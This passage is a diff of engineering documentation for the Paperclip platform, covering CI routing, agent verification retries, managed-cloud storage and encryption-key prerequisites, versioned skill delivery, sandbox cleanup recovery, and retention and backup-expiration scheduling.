The wrapper consumes and validates the selection before launching Vitest, then
|
||||
removes selection environment variables from the test process. Nested runner
|
||||
fixtures therefore use their own checkout and test inventory.
|
||||
|
||||
Missing/deleted/renamed source files, non-exempt non-source inputs, unrecognized graph inputs,
|
||||
setup/config changes, failed dependency installs, graph errors and timeouts use
|
||||
@@ -288,13 +295,10 @@ explicit. When changing shard layout, update `.github/ci-task-matrix.json` and
|
||||
the full fallback matrices in `pr-trusted.yml`; the contract tests require them
|
||||
to agree. Add new cache-affecting environment settings to `globalEnv`.
|
||||
|
||||
The routing Fleet has two warm On-Demand runners and a four-runner ceiling.
|
||||
Test fleets cannot consume its runner slots. Hosted test queues therefore do
|
||||
not block AWS runner selection. A manual dispatch of `ci-routing.yml` on master
|
||||
checks placement without launching the test matrix; its non-PR event returns
|
||||
the hosted test-runner output. Configure and verify the group and Fleet before
|
||||
merging this caller. To roll back, restore the hosted gate and retain the routing
|
||||
workflow authorization until assigned jobs finish.
|
||||
The former reserved routing Fleet is no longer selected by this workflow.
|
||||
Keep its existing authorization until older assigned jobs finish. A manual
|
||||
dispatch of `ci-routing.yml` on master exercises the hosted metadata job without
|
||||
launching the test matrix; its non-PR event returns the hosted test-runner output.
|
||||
|
||||
Keep the `.github/**` rule in `.github/CODEOWNERS` and the active master ruleset's
|
||||
code-owner review requirement enabled. This covers the caller, the trusted
|
||||
@@ -899,6 +903,32 @@ npx paperclipai allowed-hostname dotta-macbook-pro
|
||||
|
||||
## Agent status recovery
|
||||
|
||||
Lifecycle verification stops automatic attempts after missing authentication,
|
||||
an unavailable model or command, an invalid working directory, or unexpected
|
||||
probe output. A generic failed test gets up to three failures before automatic
|
||||
checks stop. The saved `verificationFailures` count only advances when the host
|
||||
verification test fails; claims deferred before the test do not spend that budget.
|
||||
An explicit retry or execution configuration change resets that count.
|
||||
The agent stays in `verifying`
|
||||
with execution paused and a safe error message. Its saved lifecycle operation
|
||||
records `retryRequired`; process restarts and queue scans retain that wait.
|
||||
Changing execution configuration or using **Retry now** clears it and runs the
|
||||
normal verification again. Name and title edits do not restart verification.
|
||||
Timeouts, unavailable test environments, plugin outages and unclassified runtime
|
||||
failures retain automatic retry. Pause, termination, resource cleanup and idle
|
||||
sleep checks keep their existing safety gates.
|
||||
|
||||
Remote directory and command checks preserve timeout, interruption and transport
|
||||
failures as typed execution-target failures. Adapters carry that signal in the
|
||||
optional `AdapterEnvironmentCheck.retryable` field. A retryable error becomes
|
||||
`test_environment_unavailable` before configuration classification, so it neither
|
||||
parks verification nor consumes the generic failed-test budget. A completed check
|
||||
that confirms a missing directory or command still waits for configuration repair.
|
||||
|
||||
The retry persistence tests can use a dedicated local PostgreSQL database ending
|
||||
in `_test` through `PAPERCLIP_LIFECYCLE_VERIFICATION_RETRY_TEST_DATABASE_URL` when
|
||||
embedded PostgreSQL is unavailable. The test validates that URL before use.
|
||||
|
||||
Heartbeat completion locks the agent row before it reads remaining running work
|
||||
and writes the agent status. A concurrent execution start cannot be overwritten
|
||||
by a completion that read older run state. Run terminalization and agent status
|
||||
@@ -1507,6 +1537,45 @@ Configure storage provider/settings:
|
||||
pnpm paperclipai configure --section storage
|
||||
```
|
||||
|
||||
### Managed cloud prerequisites
|
||||
|
||||
A nonblank Cloud tenant token or the presence of `PAPERCLIP_MANAGED_CONFIG`
|
||||
selects the managed-cloud profile. A supplied blank or invalid managed feature
|
||||
document refuses startup. Without either signal, the instance remains self-hosted.
|
||||
The managed profile also requires:
|
||||
|
||||
- `PAPERCLIP_STORAGE_PROVIDER=s3` or `storage.provider: "s3"` in the canonical
|
||||
database snapshot. An invalid explicit environment value refuses startup even
|
||||
if the snapshot selects S3.
|
||||
- An explicit nonblank `PAPERCLIP_STORAGE_S3_BUCKET` or `storage.s3.bucket`.
|
||||
The self-hosted `paperclip` bucket default does not qualify. The region defaults
|
||||
to `us-east-1`; an explicit blank region refuses startup. An optional endpoint
|
||||
must be an HTTP(S) URL without embedded credentials.
|
||||
- An external PostgreSQL URL from the environment `DATABASE_URL`.
|
||||
The managed profile never falls back to embedded PostgreSQL.
|
||||
- A stable `PAPERCLIP_SECRETS_MASTER_KEY` supplied by the deployment secret store.
|
||||
Use the same value across replacements. The existing provider accepts 32-byte
|
||||
base64, 64-character hex, or a raw 32-byte UTF-8 string. A key file alone does
|
||||
not qualify because a replacement web server may not have that file.
|
||||
|
||||
Bootstrap validates the environment database URL and encryption master key before
|
||||
opening the database or creating local state. Effective storage validation follows
|
||||
canonical snapshot resolution, before signing keys, first-party Telemetry or app
|
||||
construction. Raw canonical rows and legacy S3 imports cannot obtain a missing
|
||||
bucket from schema defaults. Already-stored nonblank bucket values remain
|
||||
canonical, including the deliberate name `paperclip`; prior normalization cannot
|
||||
reliably establish their original provenance.
|
||||
It does not contact S3 or verify credentials, bucket access, database connectivity,
|
||||
or that a key matches existing encrypted data. Operators must qualify ordinary
|
||||
S3 put/read/delete with deployment credentials and preserve the existing key.
|
||||
AWS credentials continue to use the provider's normal SDK credential chain.
|
||||
Local and self-hosted storage and key-file defaults remain unchanged.
|
||||
|
||||
These are prerequisites for shared storage and secrets. They do not establish
|
||||
that the whole web server is disposable or that all execution and recovery paths
|
||||
survive web-server replacement. Run-log/trace storage and producer retention are
|
||||
separate changes.
|
||||
|
||||
## Agent Artifact Uploads
|
||||
|
||||
When an agent generates a file that a board user or reviewer should inspect as
|
||||
@@ -2694,6 +2763,24 @@ and hard restarts with live and dead runners, the result-finalization race,
|
||||
incomplete bootstrap, repeated crashes with steering, and fail-closed process
|
||||
identity mismatches.
|
||||
|
||||
## Version-based skill authoring and delivery
|
||||
|
||||
Managed content uses `managed-skill-content.ts`: prepare and verify outside the
|
||||
publication transaction, then compare the captured head and publish version,
|
||||
projections, audit and applicable receipt together. `skill-execution-content.ts`
|
||||
owns disposable filesystem bindings. Do not write managed installed directories
|
||||
or infer missing content from an absent cache. Keep linked-local behavior explicit.
|
||||
|
||||
The [conversion and qualification guide](skill-ephemeral-web-servers.md) documents
|
||||
bounded eligibility/verification commands and the one-time writer maintenance
|
||||
boundary. `managed-skill-content.test.ts` covers the focused domain behavior;
|
||||
`ephemeral-skills-process.test.ts` requires independent disposable Postgres and
|
||||
S3 fixtures and starts separate Node processes. The optional
|
||||
`PAPERCLIP_TEST_POSTGRES_ADMIN_URL` creates a random test database per suite.
|
||||
On hosts with unavailable Tailscale, set `PAPERCLIP_TAILNET_BIND_HOST=127.0.0.1`
|
||||
for local fixtures to avoid repeated CLI discovery. Do not use fixture timings
|
||||
collected during builds as hosted performance evidence.
|
||||
|
||||
## App-Shipped Skills Catalog
|
||||
|
||||
Skill-library reads still reconcile bundled releases, folders, and direct local
|
||||
|
||||
@@ -184,6 +184,16 @@ Source feeds and project task lists retain their existing access rules.
|
||||
|
||||
Company skills are shared operating capabilities, not privileged objects by default. Every authenticated agent in a company can create, import, install, edit, update, test, reset, and remove that company's skills unless the company has configured an explicit restriction.
|
||||
|
||||
Paperclip-managed skills are immutable saved versions. Studio and API authoring
|
||||
publish complete content before acknowledging a save; stale edits return a version
|
||||
conflict and Studio retains the draft. Installed repository skills use the same
|
||||
version-based reads and execution selection. Web-server files are disposable caches
|
||||
and staging, so compatible replacement servers can read, edit and deliver protected
|
||||
versions from the same database and remote object storage. Explicit linked-local
|
||||
sources retain local behavior. Active or recovering run pins prevent deletion even
|
||||
after an agent detaches the skill. See [ephemeral-server skills](skill-ephemeral-web-servers.md)
|
||||
for conversion, compatibility and qualification boundaries.
|
||||
|
||||
The governing rule is: **skill permissions are opt-in restrictions, not opt-in capabilities**. Missing skill grants never create a denial in an otherwise unconfigured company, and ordinary skill work does not require board confirmation, a draft-only workflow, or an activation approval.
|
||||
|
||||
Core Paperclip owns the skill runtime, company-boundary enforcement, policy evaluation contract, API denials, validation, path containment, secret redaction, and activity logging. Those safety invariants cannot be disabled by policy. Open-by-default skill work never authorizes arbitrary host-path reads, unsafe executable content, or policy edits: local imports and scans must stay within Paperclip-known workspace or managed-skill roots, remote sources must resolve to validated immutable content, and platform safety denials must stay distinct from optional administrative restrictions. Paperclip EE may provide detailed administration for per-agent, per-role, per-action, per-source, and protected-skill rules, but EE is not required to use skills and is not an enforcement boundary. Without EE, companies remain open by default and any already-configured restrictions continue to be enforced by core.
|
||||
|
||||
@@ -2375,6 +2375,15 @@ unavailable. Preserve current ownership and newer-work fences. See
|
||||
is automatic and bounded. Unused Git caches can expire and reacquire the recorded
|
||||
commit after current authorization and hash checks; authored/unproven legacy bytes
|
||||
remain durable. See [skill package storage](skill-package-storage.md).
|
||||
- Paperclip ownership is `managed`, with a null source locator and an immutable
|
||||
current version. Content mutations prepare durable bytes before a short,
|
||||
authorization-checked compare-and-swap publication. Acknowledged changes do not
|
||||
depend on an installed web-server directory. Repository installations use the
|
||||
same committed-version read and execution boundary; linked-local sources are
|
||||
explicitly outside the empty-disk guarantee. Execution selections, including
|
||||
empty selections, persist before delivery; recovery reconstructs exact admitted
|
||||
digests and active/recovering pins prevent deletion. See
|
||||
[conversion and compatible upgrades](skill-ephemeral-web-servers.md).
|
||||
- Refresh is serialized per source, checks saved selection revisions, and publishes
|
||||
valid skills plus per-entry outcomes with required activity records in one transaction.
|
||||
Failed packages retain prior versions; access/scan/download failures retain all content.
|
||||
@@ -2382,7 +2391,7 @@ unavailable. Preserve current ownership and newer-work fences. See
|
||||
- Match by repository identity and exact path. Preserve IDs, keys, assignments, folders,
|
||||
and history. New key collisions cannot overwrite unrelated skills. Only changed package
|
||||
bytes or executable modes create versions. Library reads, tests, and subsequent unpinned
|
||||
runs use local installed snapshots; pinned/active runs retain their versions.
|
||||
runs use immutable installed snapshots; pinned/active runs retain their versions.
|
||||
- Runtime version directories are disposable caches. An hourly, bounded sweep may
|
||||
evict non-current copies unused for one hour, preserving active and unresolved
|
||||
execution pins. Selection, materialization, and pin persistence serialize with
|
||||
|
||||
+4
-3
@@ -24,10 +24,11 @@ Ordinary PRs do not write timing artifacts or export traces. The exporter job is
|
||||
skipped for ordinary run names. Adding another label does not run the CI matrix.
|
||||
|
||||
Profiling preserves the existing trusted AWS runner routing. Eligible PR jobs
|
||||
use `paperclip-public-pr-x64`; the routing gate uses `paperclip-ci-routing-x64`.
|
||||
use `paperclip-public-pr-x64`; the routing gate uses `ubuntu-latest` to verify
|
||||
current CI CODEOWNERS before allocating any AWS capacity.
|
||||
The existing fail-closed GitHub-hosted fallback still applies if AWS routing
|
||||
cannot be authorized. Only the separate post-run Honeycomb exporter uses
|
||||
`ubuntu-latest` directly; it is outside the measured PR suite.
|
||||
cannot be authorized. The separate post-run Honeycomb exporter also uses
|
||||
`ubuntu-latest`; it is outside the measured PR suite.
|
||||
|
||||
## Read the waterfall
|
||||
|
||||
|
||||
@@ -18,7 +18,8 @@ existing validation at application startup.
|
||||
to embedded PostgreSQL. Credentials, trust keys, provider configuration and
|
||||
deployment wiring needed before the database connection remain supplied by
|
||||
the environment or the existing secret system. This phase parses only the
|
||||
database connection record. Runtime mode, host binding and authentication
|
||||
database connection record and requires the stable environment encryption
|
||||
master key. Runtime mode, host binding and authentication
|
||||
checks wait until the saved snapshot has loaded.
|
||||
2. After schema migration and database connection, startup reads the private
|
||||
runtime configuration row. An existing invalid row or a database error stops
|
||||
@@ -38,6 +39,27 @@ existing validation at application startup.
|
||||
authentication and application services. A saved telemetry opt-out therefore
|
||||
takes effect before a telemetry client can be created.
|
||||
|
||||
Managed Cloud always requires a stable environment master key, including when
|
||||
an external default secrets provider is selected. Internal local-encrypted
|
||||
credential paths still need that key.
|
||||
|
||||
Managed Cloud validates effective S3 storage after publishing the canonical
|
||||
snapshot, before signing-key initialization, telemetry, authentication or app
|
||||
construction. Cloud requires S3 and a nonblank bucket; an authoritative absent
|
||||
configuration needs explicit environment storage settings. Raw saved snapshots
|
||||
cannot obtain a bucket from a schema default. Every legacy Cloud file must name its
|
||||
bucket before its one-time import, even if its saved provider is local disk and
|
||||
an environment bucket is present. Omission or blank values fail before seeding;
|
||||
The effective storage candidate is validated before seeding, so a rejected
|
||||
legacy file leaves no canonical row and can be corrected before retry.
|
||||
Environment overlays are not saved as operator choices. Correct that file before
|
||||
import, or use the existing absent-file/null-snapshot environment-only setup.
|
||||
Ordinary self-hosted file defaults remain unchanged.
|
||||
Already-canonical nonblank values, including `paperclip`, remain authoritative.
|
||||
Prior normalization cannot reliably distinguish an operator's deliberate name
|
||||
from a historical default, so this release does not invent retrospective
|
||||
provenance or replace those saved values.
|
||||
|
||||
Existing operator environment overlays keep precedence over saved values.
|
||||
Reading an overlaid value does not save it back to the database. Credentials and
|
||||
connection URLs are never copied into this JSONB row.
|
||||
@@ -78,8 +100,9 @@ bytes. Restart tests prove configuration restoration under a different home;
|
||||
they do not prove durable file, secret, or backup storage.
|
||||
|
||||
The decision signing service still uses `PAPERCLIP_DECISION_SIGNING_SECRET` when
|
||||
supplied and otherwise reads or creates its instance key file before the database
|
||||
connection. The local encrypted secret provider still uses its environment key
|
||||
supplied and otherwise reads or creates its instance key file. Managed Cloud
|
||||
performs that step after effective storage validation; self-hosted startup keeps
|
||||
its pre-connection ordering. The local encrypted secret provider still uses its environment key
|
||||
or existing key-file mechanism. Those byte-storage fallbacks are outside this
|
||||
configuration migration. Qualification must account for them separately; this
|
||||
PR does not establish file-free secret storage on Cloud.
|
||||
|
||||
+10
-1
@@ -61,6 +61,15 @@ self-hosted/Cloud targets and separately selected local/Daytona agents. Account
|
||||
and credential bindings stay in the private eval repo; registration and oracle
|
||||
tests do not establish a completed live pass or unattended CI qualification.
|
||||
|
||||
The deployment-targeted `question-answer-resume` journey reuses the classic
|
||||
two-question scenario and native continuation oracle on an attached target.
|
||||
It checks the actual board answers, one to three bound work runs, an agent-authored
|
||||
task document and browser readback after reload. It accepts provider questions and
|
||||
durable questions proven by an applied semantic receipt or an immutable completed
|
||||
native API mutation receipt. It does not qualify named-tool selection. Its provider owns target setup,
|
||||
usage and cleanup. Registration and local calibration do not establish a fresh
|
||||
Cloud pass or inclusion in a recurring selection.
|
||||
|
||||
The explicit-only [necessary free-text question journey](../tests/runner-e2e/README.md#necessary-free-text-question)
|
||||
checks one essential input, the rendered prompt and context, the real answer,
|
||||
one bound continuation, and an exact saved confirmation. Its four development
|
||||
@@ -547,7 +556,7 @@ any qualification claim; catalog presence alone is not a pass.
|
||||
|
||||
The explicit-only [native question/resume qualification](../tests/runner-e2e/README.md#task-continuation)
|
||||
separates a completed two-answer user journey from semantic-tool documentation
|
||||
qualification. It verifies the exact provider-pause or semantic-response-wake
|
||||
qualification. It verifies the exact provider-pause or native response-wake
|
||||
binding for each answer and preserves prior grades when the definition changes.
|
||||
|
||||
## Lifecycle behavior baseline
|
||||
|
||||
@@ -11,7 +11,7 @@ or an orphaned active lease. Explicit user retry keeps its existing direct path.
|
||||
| Duty | Truth | Trigger and next deadline | Quiet condition |
|
||||
| --- | --- | --- | --- |
|
||||
| Failed teardown | Existing `environment_leases` rows in `pending_cleanup` | Commit signal; later of row backoff and saved retry/ownership deadline | No pending lease or deferred orphan |
|
||||
| Failed acquisition before a DB row exists | Existing local orphan spool and the producing runtime's buffer | Local buffer registration; five-minute retry while buffered; startup spool load | Durable row owns recovery and spool copy is removed |
|
||||
| Interrupted acquisition | `sandbox_creation_operations` committed before provider creation | Transaction signal; saved acquisition deadline; five-minute backoff after recovery failure | Normal lease or one claimed cleanup lease owns the resource; unsupported uncertainty requires operator reconciliation |
|
||||
| Historical provider verification | Existing failed ephemeral leases and finished custom-image setups without matching cleanup proof | Commit signal; five-minute retry while an unverified candidate remains | No unverified candidates, including retained verified history |
|
||||
|
||||
`environment-cleanup-state.ts` owns the deadline query and the shared safe reader
|
||||
@@ -47,8 +47,9 @@ settlement and uncertainty handling through the shared DB implementation.
|
||||
- `heartbeat/recovery.ts` and `heartbeat/run-control.ts`: orphan-active recovery,
|
||||
retry settlement, and explicit recovery of historical leases.
|
||||
- `environment-task-runtime.ts`: unconfirmed plugin task termination and plugin
|
||||
replacement orphans, including a registered deferred flusher when the row
|
||||
cannot be written. The flusher retains an idle hold until the row is durable.
|
||||
replacement creations. Replacement intent commits before the provider call.
|
||||
- `sandbox-creation-operations.ts`: admission, atomic lease transfer, and bounded
|
||||
recovery. An unavailable database stops admission before external creation.
|
||||
- `sandbox-stop-and-retain.ts`: persisted Stop intent and its settlement.
|
||||
- `native-workspace-export-resume.ts` and `native-workspace-export-retry.ts`:
|
||||
terminal-export cleanup, resumed-export cleanup claims, and settlement.
|
||||
@@ -64,7 +65,49 @@ already pending claim remain covered by its existing deadline. Deletion removes
|
||||
work; an already scheduled reconciliation observes that removal. Independent SQL
|
||||
writers and another server process are not covered by these process-local signals.
|
||||
|
||||
## Deferred orphan buffers
|
||||
## Creation ownership
|
||||
|
||||
A creation operation retains company, original environment, run, request identity,
|
||||
provider, and nonsecret configuration references. Its environment FK uses SET NULL;
|
||||
company/run/task identifiers remain after those records are removed. One operation
|
||||
owns each company/environment/run/request. A retry of an attached operation returns
|
||||
its active lease. Pending or unresolved ownership never authorizes another create.
|
||||
Normal success transfers operation ownership and the lease in one transaction.
|
||||
Current company binding and run authority are checked again at attachment.
|
||||
Declared secret-reference fields retain only their references and nonsecret value
|
||||
hashes. Recovery refuses lookup under a changed credential value; it records manual
|
||||
reconciliation instead of treating a missing resource in a new account as proof.
|
||||
A missing, deleted, disabled, or archived saved secret, a missing or inactive saved version,
|
||||
or an explicitly disabled/coming-soon provider vault also records manual
|
||||
reconciliation before provider lookup. Admin-disabled credentials require operator
|
||||
reconciliation; recovery does not reactivate or use them. Temporary secret-provider
|
||||
or database failures retain the pending operation and its retry deadline.
|
||||
|
||||
Recovery never resumes partially prepared execution. It asks a capable provider to
|
||||
inspect the stable creation identity, validates its ownership envelope, and transfers
|
||||
one cleanup lease under the operation lock. The existing claimed cleanup worker
|
||||
owns deletion and confirms resolution. Failed lookup/transfer records a bounded
|
||||
retry and permits other operations to proceed. An attached operation cannot transfer
|
||||
to cleanup. Pending creation blocks instance sleep until its obligation transfers.
|
||||
|
||||
Daytona version 0.1.10 declares creationOperationVersion 1. It uses the committed
|
||||
operation UUID in its existing creation name and labels. Recovery uses an explicit
|
||||
creationOperation request on the existing read-only inspect hook and strict failed-creation deletion path. Normal lease
|
||||
inspection still uses its recorded resource ID; creationOperationId metadata is
|
||||
provenance only. A missing name alone cannot prove a late allocation will never appear. Missing identity or an
|
||||
unsupported provider records needs_reconciliation and an operation-scoped warning.
|
||||
A deleted company also records manual reconciliation before credential lookup or
|
||||
cleanup transfer. A company lock fences deletion during the transfer transaction.
|
||||
That manual diagnostic has no automatic timer and does not prevent idle. The row
|
||||
must be reconciled before retrying the same request. Other providers do not yet
|
||||
claim automatic creation lookup. Generic plugin operations retain identity only, including a returned task resource
|
||||
ID before expiry checks or lease attachment. A failed or ambiguous attachment keeps
|
||||
that known ID for reconciliation; it does not authorize unconditional release.
|
||||
These operations do not copy credentials, resolved configuration, or provider
|
||||
payloads into the operation record. A lost provider reply can still leave the
|
||||
resource ID unknown.
|
||||
|
||||
## Legacy deferred orphan buffers
|
||||
|
||||
Runtimes that hold an unwritten orphan register their flusher in a registry scoped
|
||||
to the shared database handle. Registration wakes the worker without contacting
|
||||
@@ -75,8 +118,9 @@ runtime. The registry retains only runtimes with unresolved buffer ownership.
|
||||
Unreadable directories, records, and malformed records retain a retry; a missing
|
||||
spool directory is an empty spool. A spool read failure still allows other runtimes to flush their buffers and
|
||||
persisted leases to clean up, then fails the sweep so recovery stays scheduled.
|
||||
Each concrete cleanup pass reloads the spool, including entries appended by
|
||||
plugin task replacement after startup and entries beyond buffer capacity.
|
||||
Each concrete cleanup pass reloads existing legacy spool entries, including entries
|
||||
beyond buffer capacity. Normal acquisition and plugin task replacement do not append
|
||||
new fallback files. Retained entries remain available for the separate cutover inventory.
|
||||
No empty-spool filesystem or database polling is introduced. Existing limits on a simultaneous database,
|
||||
spool, and buffer-capacity failure remain; this is not a new durable queue.
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# Archive attention sources without repeated feed scans
|
||||
|
||||
Attention retention now reconstructs source deadlines at startup and after committed source changes. It no longer rebuilds every active company's full feed on each heartbeat tick. The archive age remains 90 days. Keep and manual archive state remain authoritative, and automatic archive still commits its notification outbox atomically.
|
||||
|
||||
This document records source ownership, producer coverage, and the evidence needed to review the replacement. It makes no claim about host suspension or external wake alarms.
|
||||
|
||||
## Existing source rows own eligibility and deadlines
|
||||
|
||||
`attention-retention.ts` selects at most 100 unfinished source candidates per reconstruction page. It excludes inactive companies and kept or archived retention states. The scoped coordinator retains eligible deadlines, retries concrete failures, and cancels entries that leave attention. It does not schedule another scan after settlement unless a producer changes a relevant source.
|
||||
|
||||
| Source | Eligible durable state | Activity owner |
|
||||
| --- | --- | --- |
|
||||
| Decision | Open decision with a visible execution issue | Decision updated time |
|
||||
| Interaction | Pending board-visible interaction; newest ordinary confirmation or independent quality gate | Interaction updated time |
|
||||
| Recovery action | Active or escalated action owned by a user or board, with a visible source issue | Recovery updated time |
|
||||
| Blocker attention | Board unblock descriptor or non-live terminal blocker selected by the issue owner | Blocked transition or terminal issue updated time |
|
||||
| Review | Human participant, user assignee, pending approval, or stalled review selected by the issue owner | Issue updated time |
|
||||
| Failed run | Failed or timed-out run with an exhaustion event, eligible agent and issue, and no newer matching run | Finished time, falling back to updated or created time |
|
||||
| Budget alert | Open hard incident, or soft incident meeting the existing 85 percent rounded threshold | Incident updated time |
|
||||
| Agent error | Agent in error status | Agent updated time |
|
||||
|
||||
The feed and worker share confirmation collapse, newer-run probes, issue visibility, review eligibility, and terminal-blocker predicates. Issue graph and agent invokability logic remain with their existing owners. Blocker entries retain both the root used to reconstruct the graph and the terminal subject that owns retention state. PostgreSQL deadlines round submillisecond timestamps upward. The worker locks the source and terminal subject before archival.
|
||||
|
||||
`productivity_review` generates no feed items and owes no retention work. Queue retention-day overrides control shelf presentation, which is computed on reads. They do not change the fixed automatic archive age. Approval retention, join-request retention, and archive notification delivery keep their existing workers.
|
||||
|
||||
## Existing mutation boundaries reactivate work
|
||||
|
||||
Committed hints identify a company, source kind, and source ID where those values are known. Retention's own writes use exact source hints; blocker retention changes invalidate the company/source because multiple blocked roots can project one terminal subject. Reconstruction pages and due batches remain bounded. Review attention and interaction invokability are computed in company batches per candidate page; a full 100-candidate review page uses at most 20 statements and 100 confirmations use at most six. Decisions, recovery source links, runs, eligible agents, issue visibility, newer-run probes and blocker graphs also load in company batches per page. A 100-source decision or recovery page uses at most three statements; 100 failed runs use at most six; 100 blocker roots use at most 30 graph/source statements plus retention-state reads for their emitted entries. These evidence maps exist only for one load. The blocker owner shares fetched node and edge facts while tracking depth, node count, expanded nodes and live-work reachability independently for each root. An unrelated graph reaching its limit cannot change a shallow root’s terminal subject or deadline. Archive checks still lock and freshly re-read sources, terminal subjects and related eligibility. Ordinary execution, decision and budget mutations pass their affected company; exact decision sources are included.
|
||||
|
||||
Producer coverage includes decision creation and changes; interaction creation, resolution, expiry and supersession; issue creation, updates, blocker relations, checkout, adoption and release; agent hire, configuration, lifecycle, error clearing and deletion; budget incidents and company pause/resume; exhausted-run events and retry-run creation; native status, review, finalization and reconstruction; external conversation transitions; and imported blocker relations. Existing service transactions retain outer commit ownership. Savepoint release does not publish work before outer commit.
|
||||
|
||||
The writer contract follows the existing delivery workers: serving processes use the transaction-aware service boundaries, and each serving process registers its workers. Independent raw SQL writers must supply equivalent ingress or restart reconstruction. Restores reconstruct work at startup. The change adds no permanent listener, independent timer, table, or Cloud wake mechanism. Existing sleep-safety gates remain in force.
|
||||
|
||||
## Real PostgreSQL evidence proves quiet and reactivation
|
||||
|
||||
The new acceptance suite exercises all eight sources, including terminal blocker identity and date, newest confirmations, independent quality gates, unhealthy reporting chains, conversation visibility, maintained reviews and pending approvals, newer-run suppression, ordinary task and interaction producers, ordinary exhaustion-event ingress, and ordinary error clearing. Additional ordinary producer controls cover child creation with a parent-blocking relation, budget incident creation and resolution, and repeated company-scoped execution-control writes.
|
||||
|
||||
It also checks keep/revive, moved and cancelled deadlines, company activation and isolation, retained terminal history, restart, nested outer commit and rollback, first writes during drain, retry across drain, atomic archive/outbox rollback, and notifications during reconstruction. A 225-item backlog uses three startup pages and source-specific self-invalidations. SQL is counted at the PostgreSQL driver boundary.
|
||||
|
||||
The old aggregate path issued 12 statements per tick in each of three configured-idle samples. The replacement issued zero statements during 300 seconds after settlement. One transaction-status read after an injected rollback is classified as uncertainty reconciliation; the following 300-second drain window must remain quiet.
|
||||
|
||||
The focused suite supports `PAPERCLIP_ATTENTION_RETENTION_TEST_DATABASE_URL`, validates its dedicated `_test` database name, applies pending migrations, and prewarms a six-connection pool before advancing fake time. Providers are not involved in retention selection; the existing archive outbox delivery tests verify the separate controlled notification boundary. Fake time proves scheduling and SQL quiet, not database or host suspension.
|
||||
|
||||
## Review and operational limits remain explicit
|
||||
|
||||
Local embedded PostgreSQL could not start on the test host because system semaphores were exhausted. The accepted runs use isolated PostgreSQL 17 databases. A mixed consumer run also exposed fixture contamination from a lifecycle suite that retains native finalization rows; isolated reruns are required and preserve the failed run in the review evidence. Broad Linux CI remains the required full-suite gate.
|
||||
|
||||
Review the source parity fixtures and producer hints together. The intended outcome is unchanged archive state and notifications with no recurring retention SQL when the sources remain unchanged. No merge or deployment is part of this change.
|
||||
@@ -0,0 +1,63 @@
|
||||
# Backup expiration without idle polling
|
||||
|
||||
The backup expiration duty retains its existing minimum age and safety policy.
|
||||
It uses the shared scoped deadline coordinator. The archived runner evidence and
|
||||
checkpoint expiration duties keep their separate registrations.
|
||||
|
||||
The durable source is each controller-owned `failover-backups/current` directory,
|
||||
its control-plane session identity, and the associated run, issue, finalization,
|
||||
and environment lease rows. The next eligible instant is one millisecond after
|
||||
the later of the backup mtime and every related issue's close time, plus the
|
||||
configured retention duration. An open issue, live run or lease, unsettled
|
||||
finalization, or cleanup activation has no time-derived expiry; its producer
|
||||
must invalidate the source when it changes. A busy process or failed I/O leaves
|
||||
real unresolved cleanup and uses the shared retry backoff. Dry-run reports an
|
||||
eligible source once and waits for source invalidation or restart.
|
||||
|
||||
Startup pages existing disk scopes and indexes each backup's actual session,
|
||||
run, coalesced native-task/task, agent and lease references, including protected
|
||||
backups. Ordinary task, run, lease and process-release notifications retain
|
||||
these identities and inspect only affected roots. New run or lease references
|
||||
resolve through the owner's database relationships. Local publication retains
|
||||
its exact digest. Explicit company or instance configuration changes can still
|
||||
reconstruct their whole affected scope. Roots without backup or cleanup tombstones
|
||||
perform no backup SQL. After discovery and all obligations settle, there is no
|
||||
recurring SQL or filesystem scan. Startup reconstructs future work; inspecting a
|
||||
source never changes its business timestamps. Runtime task close/reopen and
|
||||
retention timestamp changes, native environment and retained session writes,
|
||||
local backup publication, and process release invalidate the company or digest.
|
||||
Signals from database producers register before writes inside their owning
|
||||
transaction, including caller-owned transactions and nested savepoints.
|
||||
|
||||
The controller remains the only supported writer of its local backup files.
|
||||
An independent process writing those files must use the same producer ingress;
|
||||
manual disk edits require reconstruction on restart. Database writer ingress
|
||||
continues to use the existing transaction-aware work signals. This change adds
|
||||
no permanent database listener and does not add a polling table or migration.
|
||||
|
||||
Read-only reconstruction does not lock issue rows. Transient identity I/O errors
|
||||
retain a retry obligation; missing or malformed state remains unrecognized.
|
||||
Byte accounting occurs before the retirement transaction. The current backup
|
||||
age is rechecked inside the transaction before the rename.
|
||||
|
||||
The existing issue share locks now remain held through the retirement rename.
|
||||
This fences task reopen while the backup becomes unavailable. A failed database
|
||||
transaction restores `.retiring-*`; a process interruption is recovered from
|
||||
that existing file journal at startup. Journal reconciliation runs before
|
||||
identity or owner lookup, so an agent purge cannot strand expired physical
|
||||
cleanup or prevent restoration of a retiring backup. After database settlement, `.expired-*`
|
||||
records outstanding physical removal so a partial delete retries idempotently.
|
||||
Ownership, session identity, live run, lease and local execution safety checks
|
||||
remain in the backup owner. No host-sleep blocker or expiry-on-use rule changes.
|
||||
An in-process deadline does not register a Cloud wake alarm.
|
||||
|
||||
Acceptance uses isolated real PostgreSQL for service writes, transaction signals,
|
||||
safety checks, resume pointer deletion, and restart reconstruction. A temporary
|
||||
filesystem is the controlled storage boundary. These tests do not claim cloud
|
||||
object storage behavior, deployed sleep, or fleet savings.
|
||||
|
||||
Review validation also covers expired-only directories whose listing fails with
|
||||
EIO or EACCES. Only ENOENT means absent; other listing failures retain retry debt.
|
||||
Both controls failed before the fix; all 104 expiration tests pass afterward.
|
||||
Executor release tests assert both the preserved broad cleanup scope and the
|
||||
precise source identity used for backup invalidation.
|
||||
@@ -0,0 +1,462 @@
|
||||
# Skills on ephemeral web servers
|
||||
|
||||
## Qualification status
|
||||
|
||||
Implementation is in [PR #18334](https://github.com/paperclipai/paperclip/pull/18334).
|
||||
Hosted qualification uses the owned disposable
|
||||
[test tenant](https://ephemeral-skills-qa-oct-30.test.paperclip.app), external
|
||||
Postgres, S3, and a real remote Paperclip Computer. Cloud policy reserves the
|
||||
staging domain for master; the rejected staging branch request below made no
|
||||
deployment.
|
||||
|
||||
- **Passed:** independent-process PostgreSQL/S3 failure matrix; hosted A → B → C
|
||||
replacement with predecessor homes absent; C reads and executes B's acknowledged
|
||||
save; historical repository pin delivery while a newer revision is installed.
|
||||
- **Passed:** full CI and code review at `7ec495de77`, confidence 5/5, no
|
||||
unresolved findings. Workspace typecheck/build, focused regressions and the
|
||||
separate-process replacement matrix passed. Local timeout attempts remain
|
||||
recorded below; their results are not counted as passes.
|
||||
- **Passed:** compatible image rollback to `6518b323` retained the newer managed
|
||||
revisions and delivered their bytes plus the historical repository pin remotely.
|
||||
- **Passed:** deployed unassigned-skill Studio retry: the exact fork v3 was
|
||||
